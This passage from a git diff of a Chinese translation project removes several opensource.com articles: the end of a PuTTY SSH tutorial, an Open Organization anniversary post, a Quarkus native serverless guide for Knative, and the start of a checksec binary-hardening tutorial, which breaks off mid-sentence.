to establish an SSH connection from a -Windows machine to a Linux system. -![clouds in windows][1] - -The secure shell protocol (SSH) is the most common method for controlling remote machines over the command line in the Linux world. SSH is a true Linux original, and it is also gaining popularity in the Windows world. There is even official [Windows documentation for SSH][2], which covers controlling Windows machines using [OpenSSH][3]. - -This article describes how to establish an SSH connection from a Windows machine to a Fedora 33 Linux system using the popular open source tool [PuTTY][4]. - -### Ways to use SSH - -SSH uses a client-server architecture, where an SSH client establishes a connection to an SSH server. The SSH server is usually running as a system daemon, so it is often called SSHD. You can hardly find a Linux distribution that does not come with the SSH daemon. In Fedora 33, the SSH daemon is installed but not activated. - -You can use SSH to control almost any Linux machine, whether it's running as a virtual machine or as a physical device on your network. A common use case is the headless configuration of embedded devices, including the Raspberry Pi. SSH can also be used to tunnel other network services. Because SSH traffic is encrypted, you can use SSH as a transport layer for any protocol that does not provide encryption by default. - -In this article, I'll explain four ways to use SSH: 1. how to configure the SSH daemon on the Linux side, 2. how to set up a remote console connection, 3. how to copy files over the network, and 4. how to tunnel a certain protocol over SSH. - -### 1\. Configure SSHD - -The Linux system (Fedora 33 in my case) acts as the SSH server that allows the PuTTY SSH client to connect. First, check the daemon's SSH configuration. The configuration file is located at `/etc/ssh/sshd_config` and contains a lot of switches that can be activated by commenting out related lines: - - -``` -#       $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ - -# This is the sshd server system-wide configuration file.  See -# sshd_config(5) for more information. - -# This sshd was compiled with PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin - -# The strategy used for options in the default sshd_config shipped with -# OpenSSH is to specify options with their default value where -# possible, but leave them commented.  Uncommented options override the -# default value. - -Include /etc/ssh/sshd_config.d/*.conf - -#Port 22 -#AddressFamily any -#ListenAddress 0.0.0.0 -#ListenAddress :: -``` - -The default configuration, where no line is uncommented, should work for this example. Check whether the SSH daemon is already running by typing `systemctl status sshd`: - - -``` -$ systemctl status sshd -● sshd.service - OpenSSH server daemon -   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) -   Active: active (running) since Fri 2018-06-22 11:12:05 UTC; 2 years 11 months ago -     Docs: man:sshd(8) -           man:sshd_config(5) - Main PID: 577 (sshd) -    Tasks: 1 (limit: 26213) -   CGroup: /system.slice/sshd.service -           └─577 /usr/sbin/sshd -D -oCiphers=[aes256-gcm@openssh.com][5],chacha20-[...] -``` - -If it's inactive, start it with the `systemctl start sshd` command. - -### 2\. Set up a remote console - -On Windows, [download the PuTTY installer][6], then install and open it. You should see a window like this: - -![PuTTY configuration screen][7] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -In the **Host Name (or IP address)** input field, enter the connection information for your Linux system. In this example, I set up a Fedora 33 virtual machine with a bridged network adapter that I can use to contact the system at the IP address `192.168.1.60`. Click **Open**, and a window like this should open: - -![PutTTY security alert][9] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -This is an SSH security mechanism to prevent a [man-in-the-middle attack][10]. The fingerprint in the message should match the key on the Linux system at `/etc/ssh/ssh_host_ed25519_key.pub.`. PuTTY prints the key as an [MD5 hash][11]. To check its authenticity, switch to the Linux system, open a command shell, and enter: - - -``` -`ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub` -``` - -The output should match the fingerprint shown by PuTTY: - - -``` -$ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub -256 MD5:E4:5F:01:05:D0:F7:DC:A6:32 no comment (ED25519) -``` - -Confirm the PuTTY Security Alert by clicking **Yes**. The host system's fingerprint is now in PuTTYs trust list, which is located in the Windows registry under: - - -``` -`HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\SshHostKeys` -``` - -Enter your correct login credentials, and you should be on the console in your home directory: - -![Logged in to SSH][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### 3\. Copy files over the network - -In addition to the remote console, you can use PuTTY to transfer files via SSH. Look in the installation folder under `C:\\Program Files (x86)\\PuTTY` and find `pscp.exe`. You can use this to copy files to and from a Linux system. - -Open a command prompt with **Windows + R** and enter **cmd**. Copy the file `MyFile.txt` from your Linux user home directory to your Windows home directory by entering: - - -``` -`C:\"Program Files (x86)"\PuTTY\pscp.exe stephan@192.168.1.60:/home/stephan/MyFile.txt .` -``` - -To copy a file from the Windows home directory to the Linux user home directory, enter: - - -``` -`C:\"Program Files (x86)"\PuTTY\pscp.exe MyFile.txt stephan@192.168.1.60:/home/stephan/` -``` - -As you may have already figured out, the copy command's general structure is: - - -``` -`pscp.exe ` -``` - -### 4\. Tunnel a protocol - -Imagine you have a Linux machine that is running an HTTP-based service for some arbitrary application. You want to access this HTTP service from your Windows machine over the internet. Of course, you cannot expose the related TCP port to the public because: - - 1. The server is running HTTP, not HTTPS - 2. There is no user management nor login at all - - - -At first glance, it looks like an impossible task to set up this architecture without producing a horrible security flaw. But SSH makes it relatively easy to set up a safe solution for this scenario. - -I will demonstrate this procedure with my software project [Pythonic][13]. Running as a container, Pythonic exposes two TCP ports: TCP port 7000 (main editor) and TCP port 8000 (the [code-server][14] source-code editor). - -To install Pythonic on a Linux machine, run: - - -``` -podman pull pythonicautomation/pythonic -podman run -d -p 7000:7000 -p 8000:8000 pythonic -``` - -Switch to your Windows machine, open PuTTY, and navigate to **Connection -> SSH -> Tunnels**. Add the two TCP ports you want to forward: - - * Source: `7000` / Destination: `localhost:7000` - * Source: `8000` / Destination: `localhost:8000` - - - -![Port forwarding in PuTTY][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Then go back to the **Session** section, and establish an SSH connection as you did before. Open a browser and navigate to `http://localhost:7000`; you should see a screen like this: - -![Pythonic][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You have successfully configured port forwarding! - -**Warning**: If you expose TCP Port 22 to the public, don't use easy-to-guess login credentials. You will receive login attempts from all over the world trying to access your Linux machine with common, standard credentials. Instead, permit only known clients to log in. This login restriction can be achieved using [public-key cryptography][17], which uses a key pair in which the public key is stored on the SSH host machine, and the private key remains at the client. - -### Debugging - -If you are struggling to connect to your Linux machine, you can follow the processes in your SSH daemon with: - - -``` -`journalctl -f -u sshd` -``` - -This is how an ordinary log-in process looks like with LogLevel DEBUG : - -![LogLevel DEBUG output][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### Learn more - -This article barely scratched the surface about ways to use SSH. If you are looking for information about a specific use case, you can probably find it among the tons of SSH tutorials on the internet. I use PuTTY heavily at work because its easy configuration and good interoperability between operating systems make it a Swiss Army knife tool for connectivity solutions. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/ssh-windows - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-windows-building-containers.png?itok=0XvZLZ8k (clouds in windows) -[2]: https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview -[3]: https://www.openssh.com/ -[4]: https://www.putty.org/ -[5]: mailto:aes256-gcm@openssh.com -[6]: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html -[7]: https://opensource.com/sites/default/files/uploads/putty_connection_settings.png (PuTTY configuration screen) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: https://opensource.com/sites/default/files/uploads/putty_host_key.png (PutTTY security alert) -[10]: https://en.wikipedia.org/wiki/Man-in-the-middle_attack -[11]: https://en.wikipedia.org/wiki/MD5 -[12]: https://opensource.com/sites/default/files/uploads/ssh_successfull_login.png (Logged in to SSH) -[13]: https://github.com/hANSIc99/Pythonic -[14]: https://github.com/cdr/code-server -[15]: https://opensource.com/sites/default/files/uploads/ssh_port_forwarding.png (Port forwarding in PuTTY) -[16]: https://opensource.com/sites/default/files/uploads/pythonic_screen.png (Pythonic) -[17]: https://opensource.com/article/21/4/encryption-decryption-openssl -[18]: https://opensource.com/sites/default/files/uploads/sshd_debug_log.png (LogLevel DEBUG output) diff --git a/sources/tech/20210602 New ways to learn about open organizations.md b/sources/tech/20210602 New ways to learn about open organizations.md deleted file mode 100644 index 1d56e9938f..0000000000 --- a/sources/tech/20210602 New ways to learn about open organizations.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: subject: (New ways to learn about open organizations) -[#]: via: (https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary) -[#]: author: (Laura Hilliger https://opensource.com/users/laurahilliger) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -New ways to learn about open organizations -====== -Celebrate the Open Organization community's sixth anniversary by getting -involved in two exciting new projects. -![][1] - -The Open Organization community celebrates its sixth anniversary on June 02. That's six years of articles ([hundreds][2]), books (an [evolving series][3]), conversations ([always inspiring][4]), teaching (we [love it][5]), and learning. We're so proud to be a vibrant community of open experts and leaders working to bring [open principles][6] to organizations large and small. In fact, many of the [Open Organization Ambassadors][7] have made careers out of helping others become more open, and our community remains dedicated to helping leaders across various industries integrate open mindsets and behaviors into their communities and contexts. - -[Last year][8] was a period of [growth][9] and [renewal][10] for the Open Organization project. And this year, we're building on that momentum. Today, we're proud to introduce two new initiatives—and, of course, invite you to participate. - -### Turn on, tune in, open up - -First, we're excited to announce a brand new venue for our community's work: [OpenOrgTV][11]. It's more than a new platform. It's an experiment in another medium: video. - -On our channel, we'll be hosting all kinds of conversations—from in-depth book reviews to community roundtables. To get started, check out the "[Open Leadership Conversations][12]" series, which features interviews with insightful leaders offering their perspectives on what it means to lead according to open principles. Or watch "[Ask the Ambassadors][13]," our Q&A-style write-in show starring community experts answering _your_ questions about organizational culture and design. Want to be part of the show? Submit your questions to community members in our [new dedicated forum][14]. - -All month long, we'll be featuring introductions to the [Open Organization Ambassadors][15], so you can finally see the faces and hear the voices behind the stories, case studies, and interviews you've been reading for years. - -### Defining open leadership - -Since we released it several years ago, the [Open Organization Definition][16] has become a guiding framework for organizations looking to better understand the nature of open organizational culture and design (and we've done lots to [teach others about it][17]). Over time, we even developed [a maturity model][18] that operationalizes the definition, so organizations can assess their own levels of openness and make concrete plans to become even _more_ open. - -Now we think it's time to take that work a step further. - -But the Open Organization community is more than any combination of platforms, tools, or projects. It's people, all working enthusiastically together to help spread open principles and practices. - -Inspired by our own experience, pre-existing frameworks from open organizations like [Red Hat][19] and [Mozilla][20], years of studying and interviewing open leaders in the field, and a desire to better understand how open leadership _really_ works, we're pleased to unveil an early draft of a brand new document: the Open Leadership Definition. - -This document outlines the mindsets and behaviors unique to the kinds of leaders who build open organizations and make them places where open-minded people can grow and thrive. It builds on the Open Organization Definition, explaining how open leaders embody and champion open organization characteristics—like transparency, inclusivity, adaptability, collaboration, and community. - -And we're keen to share it with the world. - -Beginning today (and continuing for the next two weeks), we're collecting _your_ insights and comments on our draft document. We're eager to hear your ideas, and will take them _en masse_ or in snippets. You can comment on individual parts of the document, or the entire thing. Just see the links below. We look forward to hearing from you. - -* * * - -#### - -![Open Leadership Definition word cloud][21] - -_Open Leadership Definition word cloud by Laura Hiliger (CC BY-SA)_ - -#### The Open Leadership Definition - -[Open Leadership: Introduction][22] - -[Open Leadership: Transparency][23] - -[Open Leadership: Inclusivity][24] - -[Open Leadership: Adaptability][25] - -[Open Leadership: Collaboration][26] - -[Open Leadership: Community][27] - -[Read the entire thing][28] in our shared folder. - -* * * - -### Let's connect - -And of course, you can still find our community in all the usual places like: - - * [Our project website][29], your portal to the entire Open Organization project and community - * [Our conversation hub][4], where you can interact with community members, ask questions, learn about new projects, find resources, and help others - * [Our GitHub organization][30], where we're always working on new materials in the open and invite you to join us - * [Our publication channel at Opensource.com][2], where we're publishing the latest analyses, case studies, interviews, and resources for practitioners in various regions and industries - * Our [Twitter][31] and [LinkedIn][32] platforms, where we're sharing our latest updates and fostering new conversations - - - -But the Open Organization community is more than any combination of platforms, tools, or projects. It's _people_, all working enthusiastically together to help spread open principles and practices. Those people are what makes our community so great. - -That's been the case for six years now. And it always will be. - -### By the numbers - -![][33] - -_Infographic via Jen Kelchner_ - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary - -作者:[Laura Hilliger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/laurahilliger -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/openorg_sixth_anniversary.png?itok=3RWyEk5S -[2]: https://opensource.com/open-organization -[3]: https://theopenorganization.org/books -[4]: https://www.theopenorganization.community/ -[5]: https://www.youtube.com/watch?v=Snf6vICDbzw&list=PLLIYDJHuxOkaPEH76mIJe-HHplsiSAVej -[6]: https://theopenorganization.org/definition -[7]: https://theopenorganization.org/about -[8]: https://opensource.com/open-organization/20/6/scaling-energetic-community -[9]: https://opensource.com/open-organization/20/7/evolving-project-governance -[10]: https://opensource.com/open-organization/20/8/open-community-rebrands -[11]: http://theopenorganization.tv -[12]: https://www.youtube.com/watch?v=07YBs0ss9rU&list=PLLIYDJHuxOkYDTLbKRjcd9THTFtpnK8lh -[13]: https://www.youtube.com/watch?v=ukkZMYqRuUQ&list=PLLIYDJHuxOkY1gDbOFLDxGxwwmxeOATrI -[14]: https://www.theopenorganization.community/c/ask-community/19 -[15]: http://theopenorganization.org/roster/ -[16]: https://theopenorganization.org/definition/ -[17]: https://youtu.be/NYngFYGgxro -[18]: https://github.com/open-organization/open-org-maturity-model -[19]: https://github.com/red-hat-people-team/red-hat-multiplier -[20]: https://mozilla.github.io/open-leadership-framework/framework/#the-open-leadership-framework -[21]: https://opensource.com/sites/default/files/images/open-org/open_leadership_word_cloud.png (Open Leadership Definition word cloud) -[22]: https://docs.google.com/document/d/1blmf94ED_p4BHGv0luU_XrU26aF7tCzV6WTmh_v-PDY/edit?usp=sharing -[23]: https://docs.google.com/document/d/14ssBBL0h2vxU0WZoMnWs6eo_8oRfJhnAr5yr-fAiLGU/edit?usp=sharing -[24]: https://docs.google.com/document/d/1lRutADes5E0mcwtc6GR_Qw06PuJLc9-wUK5W1Gcf_BA/edit?usp=sharing -[25]: https://docs.google.com/document/d/1RcwWTpkT42bgkf6EPiECt8LyAJ1XZjNGhzk0cQuBB7c/edit?usp=sharing -[26]: https://docs.google.com/document/d/1hTvnpqQkOc76-0UJbV6tAvRxOE--bdt96mqGmAKGqiI/edit?usp=sharing -[27]: https://docs.google.com/document/d/1Zl1smi-4jDZNNWd0oNY8qRH-GDi9q5VfvgyZ7YLkvm4/edit?usp=sharing -[28]: https://drive.google.com/drive/folders/1e1N_0p5lJEwAo_s6hQ3OK0KaJIfc7fgF?usp=sharing -[29]: http://theopenorganization.org/ -[30]: https://github.com/open-organization -[31]: https://twitter.com/openorgproject -[32]: https://www.linkedin.com/company/the-open-organization/ -[33]: https://opensource.com/sites/default/files/images/open-org/openorgproject_6_anniversary_stats.png diff --git a/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md b/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md deleted file mode 100644 index ab98883f7b..0000000000 --- a/sources/tech/20210604 Optimize Java serverless functions in Kubernetes.md +++ /dev/null @@ -1,267 +0,0 @@ -[#]: subject: (Optimize Java serverless functions in Kubernetes) -[#]: via: (https://opensource.com/article/21/6/java-serverless-functions-kubernetes) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Optimize Java serverless functions in Kubernetes -====== -Achieve faster startup and a smaller memory footprint to run serverless -functions on Kubernetes. -![Ship captain sailing the Kubernetes seas][1] - -A faster startup and smaller memory footprint always matter in [Kubernetes][2] due to the expense of running thousands of application pods and the cost savings of doing it with fewer worker nodes and other resources. Memory is more important than throughput on containerized microservices on Kubernetes because: - - * It's more expensive due to permanence (unlike CPU cycles) - * Microservices multiply the overhead cost - * One monolith application becomes _N_ microservices (e.g., 20 microservices ≈ 20GB) - - - -This significantly impacts serverless function development and the Java deployment model. This is because many enterprise developers chose alternatives such as Go, Python, and Nodejs to overcome the performance bottleneck—until now, thanks to [Quarkus][3], a new Kubernetes-native Java stack. This article explains how to optimize Java performance to run serverless functions on Kubernetes using Quarkus. - -### Container-first design - -Traditional frameworks in the Java ecosystem come at a cost in terms of the memory and startup time required to initialize those frameworks, including configuration processing, classpath scanning, class loading, annotation processing, and building a metamodel of the world, which the framework requires to operate. This is multiplied over and over for different frameworks. - -Quarkus helps fix these Java performance issues by "shifting left" almost all of the overhead to the build phase. By doing code and framework analysis, bytecode transformation, and dynamic metamodel generation only once, at build time, you end up with a highly optimized runtime executable that starts up super fast and doesn't require all the memory of a traditional startup because the work is done once, in the build phase. - -![Quarkus Build phase][4] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -More importantly, Quarkus allows you to build a native executable file that provides [performance advantages][6], including amazingly fast boot time and incredibly small resident set size (RSS) memory, for instant scale-up and high-density memory utilization compared to the traditional cloud-native Java stack. - -![Quarkus RSS and Boot Time Metrics][7] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -Here is a quick example of how you can build the native executable with a [Java serverless][8] function project using Quarkus. - -### 1\. Create the Quarkus serverless Maven project - -This command generates a Quarkus project (e.g., `quarkus-serverless-native`) to create a simple function: - - -``` -$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ -       -DprojectGroupId=org.acme \ -       -DprojectArtifactId=quarkus-serverless-native \ -       -DclassName="org.acme.getting.started.GreetingResource" -``` - -### 2\. Build a native executable - -You need a GraalVM to build a native executable for the Java application. You can choose any GraalVM distribution, such as [Oracle GraalVM Community Edition (CE)][9] and [Mandrel][10] (the downstream distribution of Oracle GraalVM CE). Mandrel is designed to support building Quarkus-native executables on OpenJDK 11. - -Open `pom.xml`, and you will find this `native` profile. You'll use it to build a native executable: - - -``` -<profiles> -    <profile> -        <id>native</id> -        <properties> -            <quarkus.package.type>native</quarkus.package.type> -        </properties> -    </profile> -</profiles> -``` - -> **Note:** You can install the GraalVM or Mandrel distribution locally. You can also download the Mandrel container image to build it (as I did), so you need to run a container engine (e.g., Docker) locally. - -Assuming you have started your container runtime already, run one of the following Maven commands. - -For [Docker][11]: - - -``` -$ ./mvnw package -Pnative \ --Dquarkus.native.container-build=true \ --Dquarkus.native.container-runtime=docker -``` - -For [Podman][12]: - - -``` -$ ./mvnw package -Pnative \ --Dquarkus.native.container-build=true \ --Dquarkus.native.container-runtime=podman -``` - -The output should end with `BUILD SUCCESS`. - -![Native Build Logs][13] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -Run the native executable directly without Java Virtual Machine (JVM): - - -``` -`$ target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner` -``` - -The output will look like: - - -``` -__  ____  __  _____   ___  __ ____  ______ - --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ - -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   -\--\\___\\_\\____/_/ |_/_/|_/_/|_|\\____/___/   -INFO  [io.quarkus] (main) quarkus-serverless-native 1.0.0-SNAPSHOT native -(powered by Quarkus xx.xx.xx.) Started in 0.019s. Listening on: -INFO [io.quarkus] (main) Profile prod activated. -INFO [io.quarkus] (main) Installed features: [cdi, kubernetes, resteasy] -``` - -Supersonic! That's _19_ _milliseconds_ to startup. The time might be different in your environment. - -It also has extremely low memory usage, as the Linux `ps` utility reports. While the app is running, run this command in another terminal: - - -``` -`$ ps -o pid,rss,command -p $(pgrep -f runner)` -``` - -You should see something like: - - -``` -  PID    RSS COMMAND -10246  11360 target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner -``` - -This process is using around _11MB_ of memory (RSS). Pretty compact! - -> **Note:** The RSS and memory usage of any app, including Quarkus, will vary depending on your specific environment and will rise as application experiences load. - -You can also access the function with a REST API. Then the output should be `Hello RESTEasy`: - - -``` -$ curl localhost:8080/hello -Hello RESTEasy -``` - -### 3\. Deploy the functions to Knative service - -If you haven't already, [create a namespace][14] (e.g., `quarkus-serverless-native`) on [OKD][15] (OpenShift Kubernetes Distribution) to deploy this native executable as a serverless function. Then add a `quarkus-openshift` extension for Knative service deployment: - - -``` -`$ ./mvnw -q quarkus:add-extension -Dextensions="openshift"` -``` - -Append the following variables in `src/main/resources/application.properties` to configure Knative and Kubernetes resources: - - -``` -quarkus.container-image.group=quarkus-serverless-native -quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 -quarkus.native.container-build=true -quarkus.kubernetes-client.trust-certs=true -quarkus.kubernetes.deployment-target=knative -quarkus.kubernetes.deploy=true -quarkus.openshift.build-strategy=docker -``` - -Build the native executable, then deploy it to the OKD cluster directly: - - -``` -`$ ./mvnw clean package -Pnative` -``` - -> **Note:** Make sure to log in to the right project (e.g., `quarkus-serverless-native`) using the `oc login` command ahead of time. - -The output should end with `BUILD SUCCESS`. It will take a few minutes to complete a native binary build and deploy a new Knative service. After successfully creating the service, you should see a Knative service (KSVC) and revision (REV) using either the `kubectl` or `oc` command tool: - - -``` -$ kubectl get ksvc -NAME                        URL   [...] -quarkus-serverless-native    True - -$ kubectl get rev -NAME                              CONFIG NAME                 K8S SERVICE NAME                  GENERATION   READY   REASON -quarkus-serverless-native-00001   quarkus-serverless-native   quarkus-serverless-native-00001   1            True -``` - -### 4\. Access the native executable function - -Retrieve the serverless function's endpoint by running this `kubectl` command: - - -``` -`$ kubectl get rt/quarkus-serverless-native` -``` - -The output should look like: - - -``` -NAME                         URL                                                                                                          READY   REASON -quarkus-serverless-native     True -``` - -Access the route `URL` with a `curl` command: - - -``` -`$ curl http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN/hello` -``` - -In less than one second, you will get the same result as you got locally: - - -``` -`Hello RESTEasy` -``` - -When you access the Quarkus running pod's logs in the OKD cluster, you will see the native executable is running as the Knative service. - -![Native Quarkus Log][16] - -(Daniel Oh, [CC BY-SA 4.0][5]) - -### What's next? - -You can optimize Java serverless functions with GraalVM distributions to deploy them as serverless functions on Knative with Kubernetes. Quarkus enables this performance optimization using simple configurations in normal microservices. - -The next article in this series will guide you on making portable functions across multiple serverless platforms with no code changes. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/java-serverless-functions-kubernetes - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://opensource.com/article/19/6/reasons-kubernetes -[3]: https://quarkus.io/ -[4]: https://opensource.com/sites/default/files/uploads/quarkus-build.png (Quarkus Build phase) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://quarkus.io/blog/runtime-performance/ -[7]: https://opensource.com/sites/default/files/uploads/quarkus-boot-metrics.png (Quarkus RSS and Boot Time Metrics) -[8]: https://opensource.com/article/21/5/what-serverless-java -[9]: https://www.graalvm.org/community/ -[10]: https://github.com/graalvm/mandrel -[11]: https://www.docker.com/ -[12]: https://podman.io/ -[13]: https://opensource.com/sites/default/files/uploads/native-build-logs.png (Native Build Logs) -[14]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html -[15]: https://docs.okd.io/latest/welcome/index.html -[16]: https://opensource.com/sites/default/files/uploads/native-quarkus-log.png (Native Quarkus Log) diff --git a/sources/tech/20210607 Identify security properties on Linux using checksec.md b/sources/tech/20210607 Identify security properties on Linux using checksec.md deleted file mode 100644 index 3d1e118830..0000000000 --- a/sources/tech/20210607 Identify security properties on Linux using checksec.md +++ /dev/null @@ -1,438 +0,0 @@ -[#]: subject: (Identify security properties on Linux using checksec) -[#]: via: (https://opensource.com/article/21/6/linux-checksec) -[#]: author: (Gaurav Kamathe https://opensource.com/users/gkamathe) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Identify security properties on Linux using checksec -====== -Learn how to use checksec to identify an executable's security -properties, understand what they mean, and know how to use them. -![Target practice][1] - -Compiling source code produces a binary. During compilation, you can provide flags to the compiler to enable or disable certain properties on the binary. Some of these properties are relevant to security. - -Checksec is a nifty little tool (and shell script) that, among other functions, identifies the security properties that were built into a binary when it was compiled. A compiler might enable some of these properties by default, and you might have to provide specific flags to enable others. - -This article explains how to use checksec to identify the security properties on a binary, including: - - 1. The underlying commands checksec uses to find information on the security properties - 2. How to enable security properties using the GNU Compiler Collection (GCC) when compiling a sample binary - - - -## Install checksec - -To install checksec on Fedora and other RPM-based systems, use: - - -``` -`$ sudo dnf install checksec` -``` - -For Debian-based distros, use the equivalent `apt` command. - -## The shell script - -Checksec is a single-file shell script, albeit a rather large one. An advantage is that you can read through the script quickly and understand all the system commands running to find information about binaries or executables: - - -``` -$ file /usr/bin/checksec -/usr/bin/checksec: Bourne-Again shell script, ASCII text executable, with very long lines - -$ wc -l /usr/bin/checksec -2111 /usr/bin/checksec -``` - -Take checksec for a drive with a binary you probably run daily: the ubiquitous `ls` command. The command's format is `checksec --file=` followed by the absolute path of the `ls` binary: - - -``` -$ checksec --file=/usr/bin/ls -RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE -Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   5       17              /usr/bin/ls -``` - -When you run this in a terminal, you see color-coding that shows what is good and what probably isn't. I say "probably" because even if something is in red, it doesn't necessarily mean things are horrible—it might just mean the distro vendors made some tradeoffs when compiling the binaries. - -The first line provides various security properties that are usually available for binaries, like `RELRO`, `STACK CANARY`, `NX`, and so on (I explain in detail below). The second line shows the status of these properties for the given binary (`ls`, in this case). For example, `NX enabled` means some property is enabled for this binary. - -## A sample binary - -For this tutorial, I'll use the following "hello world" program as the sample binary. - - -``` -#include <stdio.h> - -int main() -{ -        [printf][2]("Hello World\n"); -        return 0; -} -  -``` - -Note that I did not provide `gcc` with any additional flags during compilation: - - -``` -$ gcc hello.c -o hello -  -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped - -$ ./hello -Hello World -``` - -Run the binary through checksec. Some of the properties are different than with the `ls` command above (on your screen, these may be displayed in red): - - -``` -$ checksec --file=./hello -RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE -Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols       No    0       0./hello -$ -``` - -## Changing the output format - -Checksec allows various output formats, which you can specify with `--output`. I'll choose the JSON format and pipe the output to the `jq` utility for pretty printing. - -To follow along, [ensure you have `jq` installed][3] because this tutorial uses this output format to quickly grep for specific properties from the output and report `yes` or `no` on each: - - -``` -$ checksec --file=./hello --output=json | jq -{ -  "./hello": { -    "relro": "partial", -    "canary": "no", -    "nx": "yes", -    "pie": "no", -    "rpath": "no", -    "runpath": "no", -    "symbols": "yes", -    "fortify_source": "no", -    "fortified": "0", -    "fortify-able": "0" -  } -} -``` - -## Walking through the security properties - -The binary above includes several security properties. I'll compare that binary against the `ls` binary above to examine what is enabled and explain how checksec found this information. - -### 1\. Symbols - -I'll start with the easy one first. During compilation, certain symbols are included in the binary, mostly for debugging. These symbols are required when you are developing software and require multiple cycles for debugging and fixing things. - -These symbols are usually stripped (removed) from the final binary before it's released for general use. This does not affect the binary's execution in any way; it will run just as it would with the symbols. Stripping is often done to save space, as the binary is somewhat lighter once the symbols have been stripped. In closed-source or proprietary software, symbols often are removed because having these symbols in a binary makes it somewhat easy to infer the software's inner workings. - -According to checksec, symbols are present in this binary, yet they were not in the `ls` binary. You can also find this information by running the `file` command on the program—you see `not stripped` in the output towards the end: - - -``` -$ checksec --file=/bin/ls --output=json | jq | grep symbols -    "symbols": "no", - -$ checksec --file=./hello --output=json | jq | grep symbols -    "symbols": "yes", - -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped -``` - -How did checksec find this information? Well, it provides a handy `--debug` option to show which functions ran. Therefore, running the following command should show you which functions ran within the shell script: - - -``` -`$ checksec --debug --file=./hello` -``` - -In this tutorial, I'm looking for the underlying commands used to find this information. Since it's a shell script, you can always utilize Bash features. This command will output every command that ran from within the shell script: - - -``` -`$ bash -x /usr/bin/checksec --file=./hello` -``` - -If you scroll through the output, you should see an `echo_message` followed by the security property's category. Here is what checksec reports about whether the binary contains symbols: - - -``` -\+ readelf -W --symbols ./hello -\+ grep -q '\\.symtab' -\+ echo_message '\033[31m96) Symbols\t\033[m  ' Symbols, ' symbols="yes"' '"symbols":"yes",' -``` - -To simplify this, checksec 